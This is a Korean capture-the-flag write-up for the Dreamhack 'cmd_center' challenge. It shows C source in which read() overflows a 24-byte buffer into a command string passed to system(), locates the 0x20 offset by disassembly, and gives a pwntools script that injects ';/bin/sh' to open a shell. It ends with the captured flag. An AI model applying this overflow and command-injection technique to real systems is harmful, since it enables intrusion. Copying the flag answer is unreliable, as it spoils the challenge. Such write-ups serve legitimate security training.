[Dreamhack] cmd_center

문제 코드

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
}

int main()
{

        char cmd_ip[256] = "ifconfig";
        int dummy;
        char center_name[24];

        init();

        printf("Center name: ");
        read(0, center_name, 100);


        if( !strncmp(cmd_ip, "ifconfig", 8)) {
                system(cmd_ip);
        }

        else {
                printf("Something is wrong!\n");
        }
        exit(0);
}

• system 함수를 통해 명령어를 실행하고 있기 때문에 command injection이 발생할 수 있습니다.
• read(0, center_name, 100) 부분에서 버퍼 오버플로우가 발생해서 cmd_ip 값을 조작할 수 있습니다.

offset 찾기

   0x0000555555400916 <+105>:   lea    rax,[rbp-0x130]
   0x000055555540091d <+112>:   mov    edx,0x64
   0x0000555555400922 <+117>:   mov    rsi,rax
   0x0000555555400925 <+120>:   mov    edi,0x0
   0x000055555540092a <+125>:   call   0x555555400720 <read@plt>	// read(0, rbp-0x130, 100)

   0x000055555540092f <+130>:   lea    rax,[rbp-0x110]
   0x0000555555400936 <+137>:   mov    edx,0x8
   0x000055555540093b <+142>:   lea    rsi,[rip+0xd0]        # 0x555555400a12
   0x0000555555400942 <+149>:   mov    rdi,rax
   0x0000555555400945 <+152>:   call   0x5555554006e0 <strncmp@plt>	// strncmp(rbp-0x110, "ifconfig", 8)

• offset : 0x20

익스플로잇 코드

; 구분자를 사용하면 ifconfig 명령어 실행 후 /bin/sh 명령어가 실행되도록 할 수 있습니다.

from pwn import *

p = process("./cmd_center")


payload = b'A' * 0x20
payload += b"ifconfig ;/bin/sh"

p.sendlineafter("Center name: ", payload)
p.interactive()

익스플로잇

 ✘ kali@kali  ~/wargame/dreamhack/cmd_center  python3 remote.py 
[+] Opening connection to host3.dreamhack.games on port 18022: Done
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ ls
cmd_center
flag
run.sh
$ cat flag
DH{f4c11bf9ea5a1df24175ee4d11da0d16}